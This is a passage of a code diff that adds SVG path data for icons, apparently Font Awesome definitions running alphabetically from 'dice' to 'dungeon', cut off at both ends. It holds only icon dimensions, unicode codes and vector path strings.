7.6-34.6-10-45.1-11.9-7.1-29.7-17-51.1-27.4-28.1 46.1-99.4 17.8-87.7-35.1C409.3 217.2 365.1 208 320 208c-57 0-112.9 14.5-160 32.2-.2 40.2-47.6 63.3-79.2 36-11.2 6-21.3 11.6-28.7 16-17.6 10.5-18.8 31.8-10 45.1L59.8 364zM368 344c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-160 8c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm512 192H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"], + "dice": [640, 512, [], "f522", "M592 192H473.26c12.69 29.59 7.12 65.2-17 89.32L320 417.58V464c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48V240c0-26.51-21.49-48-48-48zM480 376c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm-46.37-186.7L258.7 14.37c-19.16-19.16-50.23-19.16-69.39 0L14.37 189.3c-19.16 19.16-19.16 50.23 0 69.39L189.3 433.63c19.16 19.16 50.23 19.16 69.39 0L433.63 258.7c19.16-19.17 19.16-50.24 0-69.4zM96 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"], + "dice-d20": [480, 512, [], "f6cf", "M106.75 215.06L1.2 370.95c-3.08 5 .1 11.5 5.93 12.14l208.26 22.07-108.64-190.1zM7.41 315.43L82.7 193.08 6.06 147.1c-2.67-1.6-6.06.32-6.06 3.43v162.81c0 4.03 5.29 5.53 7.41 2.09zM18.25 423.6l194.4 87.66c5.3 2.45 11.35-1.43 11.35-7.26v-65.67l-203.55-22.3c-4.45-.5-6.23 5.59-2.2 7.57zm81.22-257.78L179.4 22.88c4.34-7.06-3.59-15.25-10.78-11.14L17.81 110.35c-2.47 1.62-2.39 5.26.13 6.78l81.53 48.69zM240 176h109.21L253.63 7.62C250.5 2.54 245.25 0 240 0s-10.5 2.54-13.63 7.62L130.79 176H240zm233.94-28.9l-76.64 45.99 75.29 122.35c2.11 3.44 7.41 1.94 7.41-2.1V150.53c0-3.11-3.39-5.03-6.06-3.43zm-93.41 18.72l81.53-48.7c2.53-1.52 2.6-5.16.13-6.78l-150.81-98.6c-7.19-4.11-15.12 4.08-10.78 11.14l79.93 142.94zm79.02 250.21L256 438.32v65.67c0 5.84 6.05 9.71 11.35 7.26l194.4-87.66c4.03-1.97 2.25-8.06-2.2-7.56zm-86.3-200.97l-108.63 190.1 208.26-22.07c5.83-.65 9.01-7.14 5.93-12.14L373.25 215.06zM240 208H139.57L240 383.75 340.43 208H240z"], + "dice-d6": [448, 512, [], "f6d1", "M422.19 109.95L256.21 9.07c-19.91-12.1-44.52-12.1-64.43 0L25.81 109.95c-5.32 3.23-5.29 11.27.06 14.46L224 242.55l198.14-118.14c5.35-3.19 5.38-11.22.05-14.46zm13.84 44.63L240 271.46v223.82c0 12.88 13.39 20.91 24.05 14.43l152.16-92.48c19.68-11.96 31.79-33.94 31.79-57.7v-197.7c0-6.41-6.64-10.43-11.97-7.25zM0 161.83v197.7c0 23.77 12.11 45.74 31.79 57.7l152.16 92.47c10.67 6.48 24.05-1.54 24.05-14.43V271.46L11.97 154.58C6.64 151.4 0 155.42 0 161.83z"], + "dice-five": [448, 512, [], "f523", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "dice-four": [448, 512, [], "f524", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "dice-one": [448, 512, [], "f525", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM224 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "dice-six": [448, 512, [], "f526", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "dice-three": [448, 512, [], "f527", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "dice-two": [448, 512, [], "f528", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "digital-tachograph": [640, 512, [], "f566", "M608 96H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128c0-17.67-14.33-32-32-32zM304 352c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8zM72 288v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H80c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm40-64c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-48c0-8.84 7.16-16 16-16h208c8.84 0 16 7.16 16 16v48zm272 128c0 4.42-3.58 8-8 8H344c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8z"], + "directions": [512, 512, [], "f5eb", "M502.61 233.32L278.68 9.39c-12.52-12.52-32.83-12.52-45.36 0L9.39 233.32c-12.52 12.53-12.52 32.83 0 45.36l223.93 223.93c12.52 12.53 32.83 12.53 45.36 0l223.93-223.93c12.52-12.53 12.52-32.83 0-45.36zm-100.98 12.56l-84.21 77.73c-5.12 4.73-13.43 1.1-13.43-5.88V264h-96v64c0 4.42-3.58 8-8 8h-32c-4.42 0-8-3.58-8-8v-80c0-17.67 14.33-32 32-32h112v-53.73c0-6.97 8.3-10.61 13.43-5.88l84.21 77.73c3.43 3.17 3.43 8.59 0 11.76z"], + "disease": [512, 512, [], "f7fa", "M472.29 195.9l-67.06-23c-19.28-6.6-33.54-20.92-38.14-38.31l-16-60.45c-11.58-43.77-76.57-57.13-110-22.62L195 99.24c-13.26 13.71-33.54 20.93-54.2 19.31l-71.9-5.62c-52-4.07-86.93 44.89-59 82.84l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24l-28.43 57C4 396.67 47.46 440.29 98.11 429.23l70-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101 7.57 104.45-37.22l4.7-61.86c1.35-17.8 12.8-33.87 30.63-43l62-31.74c44.84-22.96 39.55-80.17-8.99-96.79zM160 256a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm128 96a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm16-128a16 16 0 1 1 16-16 16 16 0 0 1-16 16z"], + "divide": [448, 512, [], "f529", "M224 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm0-192c35.35 0 64-28.65 64-64s-28.65-64-64-64-64 28.65-64 64 28.65 64 64 64zm192 48H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"], + "dizzy": [496, 512, [], "f567", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-96 206.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L174.6 192l28.7 28.7c15.2 15.2-7.9 37.4-22.6 22.6L152 214.6zM248 416c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm147.3-195.3c15.2 15.2-7.9 37.4-22.6 22.6L344 214.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L366.6 192l28.7 28.7z"], + "dna": [448, 512, [], "f471", "M.1 494.1c-1.1 9.5 6.3 17.8 15.9 17.8l32.3.1c8.1 0 14.9-5.9 16-13.9.7-4.9 1.8-11.1 3.4-18.1H380c1.6 6.9 2.9 13.2 3.5 18.1 1.1 8 7.9 14 16 13.9l32.3-.1c9.6 0 17.1-8.3 15.9-17.8-4.6-37.9-25.6-129-118.9-207.7-17.6 12.4-37.1 24.2-58.5 35.4 6.2 4.6 11.4 9.4 17 14.2H159.7c21.3-18.1 47-35.6 78.7-51.4C410.5 199.1 442.1 65.8 447.9 17.9 449 8.4 441.6.1 432 .1L399.6 0c-8.1 0-14.9 5.9-16 13.9-.7 4.9-1.8 11.1-3.4 18.1H67.8c-1.6-7-2.7-13.1-3.4-18.1-1.1-8-7.9-14-16-13.9L16.1.1C6.5.1-1 8.4.1 17.9 5.3 60.8 31.4 171.8 160 256 31.5 340.2 5.3 451.2.1 494.1zM224 219.6c-25.1-13.7-46.4-28.4-64.3-43.6h128.5c-17.8 15.2-39.1 30-64.2 43.6zM355.1 96c-5.8 10.4-12.8 21.1-21 32H114c-8.3-10.9-15.3-21.6-21-32h262.1zM92.9 416c5.8-10.4 12.8-21.1 21-32h219.4c8.3 10.9 15.4 21.6 21.2 32H92.9z"], + "dog": [576, 512, [], "f6d3", "M298.06,224,448,277.55V496a16,16,0,0,1-16,16H368a16,16,0,0,1-16-16V384H192V496a16,16,0,0,1-16,16H112a16,16,0,0,1-16-16V282.09C58.84,268.84,32,233.66,32,192a32,32,0,0,1,64,0,32.06,32.06,0,0,0,32,32ZM544,112v32a64,64,0,0,1-64,64H448v35.58L320,197.87V48c0-14.25,17.22-21.39,27.31-11.31L374.59,64h53.63c10.91,0,23.75,7.92,28.62,17.69L464,96h64A16,16,0,0,1,544,112Zm-112,0a16,16,0,1,0-16,16A16,16,0,0,0,432,112Z"], + "dollar-sign": [288, 512, [], "f155", "M209.2 233.4l-108-31.6C88.7 198.2 80 186.5 80 173.5c0-16.3 13.2-29.5 29.5-29.5h66.3c12.2 0 24.2 3.7 34.2 10.5 6.1 4.1 14.3 3.1 19.5-2l34.8-34c7.1-6.9 6.1-18.4-1.8-24.5C238 74.8 207.4 64.1 176 64V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48h-2.5C45.8 64-5.4 118.7.5 183.6c4.2 46.1 39.4 83.6 83.8 96.6l102.5 30c12.5 3.7 21.2 15.3 21.2 28.3 0 16.3-13.2 29.5-29.5 29.5h-66.3C100 368 88 364.3 78 357.5c-6.1-4.1-14.3-3.1-19.5 2l-34.8 34c-7.1 6.9-6.1 18.4 1.8 24.5 24.5 19.2 55.1 29.9 86.5 30v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48.2c46.6-.9 90.3-28.6 105.7-72.7 21.5-61.6-14.6-124.8-72.5-141.7z"], + "dolly": [576, 512, [], "f472", "M294.2 277.7c18 5 34.7 13.4 49.5 24.7l161.5-53.8c8.4-2.8 12.9-11.9 10.1-20.2L454.9 47.2c-2.8-8.4-11.9-12.9-20.2-10.1l-61.1 20.4 33.1 99.4L346 177l-33.1-99.4-61.6 20.5c-8.4 2.8-12.9 11.9-10.1 20.2l53 159.4zm281 48.7L565 296c-2.8-8.4-11.9-12.9-20.2-10.1l-213.5 71.2c-17.2-22-43.6-36.4-73.5-37L158.4 21.9C154 8.8 141.8 0 128 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h88.9l92.2 276.7c-26.1 20.4-41.7 53.6-36 90.5 6.1 39.4 37.9 72.3 77.3 79.2 60.2 10.7 112.3-34.8 113.4-92.6l213.3-71.2c8.3-2.8 12.9-11.8 10.1-20.2zM256 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"], + "dolly-flatbed": [640, 512, [], "f474", "M208 320h384c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H448v128l-48-32-48 32V32H208c-8.8 0-16 7.2-16 16v256c0 8.8 7.2 16 16 16zm416 64H128V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h82.9c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H451c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H624c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"], + "donate": [512, 512, [], "f4b9", "M256 416c114.9 0 208-93.1 208-208S370.9 0 256 0 48 93.1 48 208s93.1 208 208 208zM233.8 97.4V80.6c0-9.2 7.4-16.6 16.6-16.6h11.1c9.2 0 16.6 7.4 16.6 16.6v17c15.5.8 30.5 6.1 43 15.4 5.6 4.1 6.2 12.3 1.2 17.1L306 145.6c-3.8 3.7-9.5 3.8-14 1-5.4-3.4-11.4-5.1-17.8-5.1h-38.9c-9 0-16.3 8.2-16.3 18.3 0 8.2 5 15.5 12.1 17.6l62.3 18.7c25.7 7.7 43.7 32.4 43.7 60.1 0 34-26.4 61.5-59.1 62.4v16.8c0 9.2-7.4 16.6-16.6 16.6h-11.1c-9.2 0-16.6-7.4-16.6-16.6v-17c-15.5-.8-30.5-6.1-43-15.4-5.6-4.1-6.2-12.3-1.2-17.1l16.3-15.5c3.8-3.7 9.5-3.8 14-1 5.4 3.4 11.4 5.1 17.8 5.1h38.9c9 0 16.3-8.2 16.3-18.3 0-8.2-5-15.5-12.1-17.6l-62.3-18.7c-25.7-7.7-43.7-32.4-43.7-60.1.1-34 26.4-61.5 59.1-62.4zM480 352h-32.5c-19.6 26-44.6 47.7-73 64h63.8c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8h63.8c-28.4-16.3-53.3-38-73-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32z"], + "door-closed": [640, 512, [], "f52a", "M624 448H512V50.8C512 22.78 490.47 0 464 0H175.99c-26.47 0-48 22.78-48 50.8V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM415.99 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32c.01 17.67-14.32 32-32 32z"], + "door-open": [640, 512, [], "f52b", "M624 448h-80V113.45C544 86.19 522.47 64 496 64H384v64h96v384h144c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM312.24 1.01l-192 49.74C105.99 54.44 96 67.7 96 82.92V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h336V33.18c0-21.58-19.56-37.41-39.76-32.17zM264 288c-13.25 0-24-14.33-24-32s10.75-32 24-32 24 14.33 24 32-10.75 32-24 32z"], + "dot-circle": [512, 512, [], "f192", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm80 248c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80z"], + "dove": [512, 512, [], "f4ba", "M288 167.2v-28.1c-28.2-36.3-47.1-79.3-54.1-125.2-2.1-13.5-19-18.8-27.8-8.3-21.1 24.9-37.7 54.1-48.9 86.5 34.2 38.3 80 64.6 130.8 75.1zM400 64c-44.2 0-80 35.9-80 80.1v59.4C215.6 197.3 127 133 87 41.8c-5.5-12.5-23.2-13.2-29-.9C41.4 76 32 115.2 32 156.6c0 70.8 34.1 136.9 85.1 185.9 13.2 12.7 26.1 23.2 38.9 32.8l-143.9 36C1.4 414-3.4 426.4 2.6 435.7 20 462.6 63 508.2 155.8 512c8 .3 16-2.6 22.1-7.9l65.2-56.1H320c88.4 0 160-71.5 160-159.9V128l32-64H400zm0 96.1c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"], + "download": [512, 512, [], "f019", "M216 0h80c13.3 0 24 10.7 24 24v168h87.7c17.8 0 26.7 21.5 14.1 34.1L269.7 378.3c-7.5 7.5-19.8 7.5-27.3 0L90.1 226.1c-12.6-12.6-3.7-34.1 14.1-34.1H192V24c0-13.3 10.7-24 24-24zm296 376v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h146.7l49 49c20.1 20.1 52.5 20.1 72.6 0l49-49H488c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z"], + "drafting-compass": [512, 512, [], "f568", "M457.01 344.42c-25.05 20.33-52.63 37.18-82.54 49.05l54.38 94.19 53.95 23.04c9.81 4.19 20.89-2.21 22.17-12.8l7.02-58.25-54.98-95.23zm42.49-94.56c4.86-7.67 1.89-17.99-6.05-22.39l-28.07-15.57c-7.48-4.15-16.61-1.46-21.26 5.72C403.01 281.15 332.25 320 256 320c-23.93 0-47.23-4.25-69.41-11.53l67.36-116.68c.7.02 1.34.21 2.04.21s1.35-.19 2.04-.21l51.09 88.5c31.23-8.96 59.56-25.75 82.61-48.92l-51.79-89.71C347.39 128.03 352 112.63 352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96c0 16.63 4.61 32.03 12.05 45.66l-68.3 118.31c-12.55-11.61-23.96-24.59-33.68-39-4.79-7.1-13.97-9.62-21.38-5.33l-27.75 16.07c-7.85 4.54-10.63 14.9-5.64 22.47 15.57 23.64 34.69 44.21 55.98 62.02L0 439.66l7.02 58.25c1.28 10.59 12.36 16.99 22.17 12.8l53.95-23.04 70.8-122.63C186.13 377.28 220.62 384 256 384c99.05 0 190.88-51.01 243.5-134.14zM256 64c17.67 0 32 14.33 32 32s-14.33 32-32 32-32-14.33-32-32 14.33-32 32-32z"], + "dragon": [640, 512, [], "f6d5", "M18.32 255.78L192 223.96l-91.28 68.69c-10.08 10.08-2.94 27.31 11.31 27.31h222.7c-9.44-26.4-14.73-54.47-14.73-83.38v-42.27l-119.73-87.6c-23.82-15.88-55.29-14.01-77.06 4.59L5.81 227.64c-12.38 10.33-3.45 30.42 12.51 28.14zm556.87 34.1l-100.66-50.31A47.992 47.992 0 0 1 448 196.65v-36.69h64l28.09 22.63c6 6 14.14 9.37 22.63 9.37h30.97a32 32 0 0 0 28.62-17.69l14.31-28.62a32.005 32.005 0 0 0-3.02-33.51l-74.53-99.38C553.02 4.7 543.54 0 533.47 0H296.02c-7.13 0-10.7 8.57-5.66 13.61L352 63.96 292.42 88.8c-5.9 2.95-5.9 11.36 0 14.31L352 127.96v108.62c0 72.08 36.03 139.39 96 179.38-195.59 6.81-344.56 41.01-434.1 60.91C5.78 478.67 0 485.88 0 494.2 0 504 7.95 512 17.76 512h499.08c63.29.01 119.61-47.56 122.99-110.76 2.52-47.28-22.73-90.4-64.64-111.36zM489.18 66.25l45.65 11.41c-2.75 10.91-12.47 18.89-24.13 18.26-12.96-.71-25.85-12.53-21.52-29.67z"], + "draw-polygon": [448, 512, [], "f5ee", "M384 352c-.35 0-.67.1-1.02.1l-39.2-65.32c5.07-9.17 8.22-19.56 8.22-30.78s-3.14-21.61-8.22-30.78l39.2-65.32c.35.01.67.1 1.02.1 35.35 0 64-28.65 64-64s-28.65-64-64-64c-23.63 0-44.04 12.95-55.12 32H119.12C108.04 44.95 87.63 32 64 32 28.65 32 0 60.65 0 96c0 23.63 12.95 44.04 32 55.12v209.75C12.95 371.96 0 392.37 0 416c0 35.35 28.65 64 64 64 23.63 0 44.04-12.95 55.12-32h209.75c11.09 19.05 31.49 32 55.12 32 35.35 0 64-28.65 64-64 .01-35.35-28.64-64-63.99-64zm-288 8.88V151.12A63.825 63.825 0 0 0 119.12 128h208.36l-38.46 64.1c-.35-.01-.67-.1-1.02-.1-35.35 0-64 28.65-64 64s28.65 64 64 64c.35 0 .67-.1 1.02-.1l38.46 64.1H119.12A63.748 63.748 0 0 0 96 360.88zM272 256c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zM400 96c0 8.82-7.18 16-16 16s-16-7.18-16-16 7.18-16 16-16 16 7.18 16 16zM64 80c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zM48 416c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zm336 16c-8.82 0-16-7.18-16-16s7.18-16 16-16 16 7.18 16 16-7.18 16-16 16z"], + "drum": [512, 512, [], "f569", "M431.34 122.05l73.53-47.42a16 16 0 0 0 4.44-22.19l-8.87-13.31a16 16 0 0 0-22.19-4.44l-110.06 71C318.43 96.91 271.22 96 256 96 219.55 96 0 100.55 0 208.15v160.23c0 30.27 27.5 57.68 72 77.86v-101.9a24 24 0 1 1 48 0v118.93c33.05 9.11 71.07 15.06 112 16.73V376.39a24 24 0 1 1 48 0V480c40.93-1.67 78.95-7.62 112-16.73V344.34a24 24 0 1 1 48 0v101.9c44.5-20.18 72-47.59 72-77.86V208.15c0-43.32-35.76-69.76-80.66-86.1zM256 272.24c-114.88 0-208-28.69-208-64.09s93.12-64.08 208-64.08c17.15 0 33.73.71 49.68 1.91l-72.81 47a16 16 0 0 0-4.43 22.19l8.87 13.31a16 16 0 0 0 22.19 4.44l118.64-76.52C430.09 168 464 186.84 464 208.15c0 35.4-93.13 64.09-208 64.09z"], + "drum-steelpan": [576, 512, [], "f56a", "M288 32C128.94 32 0 89.31 0 160v192c0 70.69 128.94 128 288 128s288-57.31 288-128V160c0-70.69-128.94-128-288-128zm-82.99 158.36c-4.45 16.61-14.54 30.57-28.31 40.48C100.23 217.46 48 190.78 48 160c0-30.16 50.11-56.39 124.04-70.03l25.6 44.34c9.86 17.09 12.48 36.99 7.37 56.05zM288 240c-21.08 0-41.41-1-60.89-2.7 8.06-26.13 32.15-45.3 60.89-45.3s52.83 19.17 60.89 45.3C329.41 239 309.08 240 288 240zm64-144c0 35.29-28.71 64-64 64s-64-28.71-64-64V82.96c20.4-1.88 41.8-2.96 64-2.96s43.6 1.08 64 2.96V96zm46.93 134.9c-13.81-9.91-23.94-23.9-28.4-40.54-5.11-19.06-2.49-38.96 7.38-56.04l25.65-44.42C477.72 103.5 528 129.79 528 160c0 30.83-52.4 57.54-129.07 70.9z"], + "drumstick-bite": [512, 512, [], "f6d7", "M462.8 49.57a169.44 169.44 0 0 0-239.5 0C187.82 85 160.13 128 160.13 192v85.83l-40.62 40.59c-9.7 9.69-24 11.07-36.78 6a60.33 60.33 0 0 0-65 98.72C33 438.39 54.24 442.7 73.85 438.21c-4.5 19.6-.18 40.83 15.1 56.1a60.35 60.35 0 0 0 98.8-65c-5.09-12.73-3.72-27 6-36.75L234.36 352h85.89a187.87 187.87 0 0 0 61.89-10c-39.64-43.89-39.83-110.23 1.05-151.07 34.38-34.36 86.76-39.46 128.74-16.8 1.3-44.96-14.81-90.28-49.13-124.56z"], + "dumbbell": [640, 512, [], "f44b", "M104 96H56c-13.3 0-24 10.7-24 24v104H8c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h24v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm528 128h-24V120c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v272c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h24c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zM456 32h-48c-13.3 0-24 10.7-24 24v168H256V56c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v400c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h128v168c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24z"], + "dumpster": [576, 512, [], "f793", "M560 160c10.4 0 18-9.8 15.5-19.9l-24-96C549.7 37 543.3 32 536 32h-98.9l25.6 128H560zM272 32H171.5l-25.6 128H272V32zm132.5 0H304v128h126.1L404.5 32zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm544 64h-20l4-32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h320v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16l20-160h28c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"], + "dumpster-fire": [640, 512, [], "f794", "M418.7 104.1l.2-.2-14.4-72H304v128h60.8c16.2-19.3 34.2-38.2 53.9-55.8zM272 32H171.5l-25.6 128H272V32zm189.3 72.1c18.2 16.3 35.5 33.7 51.1 51.5 5.7-5.6 11.4-11.1 17.3-16.3l21.3-19 21.3 19c1.1.9 2.1 2.1 3.1 3.1-.1-.8.2-1.5 0-2.3l-24-96C549.7 37 543.3 32 536 32h-98.9l12.3 61.5 11.9 10.6zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm324.6 32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208.8c-30.2-33.7-48.8-77.9-48.8-126.4 0-35.9 19.9-82.9 52.6-129.6zm210.5-28.8c-14.9 13.3-28.3 27.2-40.2 41.2-19.5-25.8-43.6-52-71-76.4-70.2 62.7-120 144.3-120 193.6 0 87.5 71.6 158.4 160 158.4s160-70.9 160-158.4c.1-36.6-37-112.2-88.8-158.4zm-18.6 229.4c-14.7 10.7-32.9 17-52.5 17-49 0-88.9-33.5-88.9-88 0-27.1 16.5-51 49.4-91.9 4.7 5.6 67.1 88.1 67.1 88.1l39.8-47c2.8 4.8 5.4 9.5 7.7 14 18.6 36.7 10.8 83.6-22.6 107.8z"], + "dungeon": [512, 512, [], "f6d9", "M128.73 